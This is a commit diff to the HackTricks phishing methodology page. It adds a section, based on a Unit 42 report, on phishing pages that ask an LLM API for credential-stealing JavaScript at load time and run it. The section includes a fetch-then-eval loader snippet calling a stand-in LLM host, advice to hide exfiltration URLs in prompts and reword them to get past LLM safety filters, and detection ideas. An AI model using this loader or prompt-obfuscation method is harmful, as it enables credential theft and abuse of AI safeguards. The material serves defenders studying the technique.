Skip to content

Commit 3c3e5be

Browse files
author
HackTricks News Bot
committed
Add content from: The Next Frontier of Runtime Assembly Attacks: Leveraging LL...
1 parent 2755257 commit 3c3e5be

1 file changed

Lines changed: 27 additions & 0 deletions

File tree

  • src/generic-methodologies-and-resources/phishing-methodology

src/generic-methodologies-and-resources/phishing-methodology/README.md

Lines changed: 27 additions & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -554,6 +554,32 @@ See also – AI agent abuse of local CLI tools and MCP (for secrets inventory an
554554
ai-agent-abuse-local-ai-cli-tools-and-mcp.md
555555
{{#endref}}
556556

557+
## LLM-assisted runtime assembly of phishing JavaScript (in-browser codegen)
558+
559+
Attackers can ship benign-looking HTML and **generate the stealer at runtime** by asking a **trusted LLM API** for JavaScript, then executing it in-browser (e.g., `eval` or dynamic `<script>`).
560+
561+
1. **Prompt-as-obfuscation:** encode exfil URLs/Base64 strings in the prompt; iterate wording to bypass safety filters and reduce hallucinations.
562+
2. **Client-side API call:** on load, JS calls a public LLM (Gemini/DeepSeek/etc.) or a CDN proxy; only the prompt/API call is present in static HTML.
563+
3. **Assemble & exec:** concatenate the response and execute it (polymorphic per visit):
564+
565+
```javascript
566+
fetch("https://llm.example/v1/chat",{method:"POST",body:JSON.stringify({messages:[{role:"user",content:promptText}]}),headers:{"Content-Type":"application/json",Authorization:`Bearer ${apiKey}`}})
567+
.then(r=>r.json())
568+
.then(j=>{const payload=j.choices?.[0]?.message?.content; eval(payload);});
569+
```
570+
571+
4. **Phish/exfil:** generated code personalises the lure (e.g., LogoKit token parsing) and posts creds to the prompt-hidden endpoint.
572+
573+
**Evasion traits**
574+
- Traffic hits well-known LLM domains or reputable CDN proxies; sometimes via WebSockets to a backend.
575+
- No static payload; malicious JS exists only after render.
576+
- Non-deterministic generations produce **unique** stealers per session.
577+
578+
**Detection ideas**
579+
- Run sandboxes with JS enabled; flag **runtime `eval`/dynamic script creation sourced from LLM responses**.
580+
- Hunt for front-end POSTs to LLM APIs immediately followed by `eval`/`Function` on returned text.
581+
- Alert on unsanctioned LLM domains in client traffic plus subsequent credential POSTs.
582+
557583
---
558584
559585
## MFA Fatigue / Push Bombing Variant – Forced Reset
@@ -624,6 +650,7 @@ Defence tips:
624650
- [https://www.digitalocean.com/community/tutorials/how-to-install-and-configure-dkim-with-postfix-on-debian-wheezy](https://www.digitalocean.com/community/tutorials/how-to-install-and-configure-dkim-with-postfix-on-debian-wheezy)
625651
- [2025 Unit 42 Global Incident Response Report – Social Engineering Edition](https://unit42.paloaltonetworks.com/2025-unit-42-global-incident-response-report-social-engineering-edition/)
626652
- [Silent Smishing – mobile-gated phishing infra and heuristics (Sekoia.io)](https://blog.sekoia.io/silent-smishing-the-hidden-abuse-of-cellular-router-apis/)
653+
- [The Next Frontier of Runtime Assembly Attacks: Leveraging LLMs to Generate Phishing JavaScript in Real Time](https://unit42.paloaltonetworks.com/real-time-malicious-javascript-through-llms/)
627654
628655
{{#include ../../banners/hacktricks-training.md}}
629656

0 commit comments

Comments
 (0)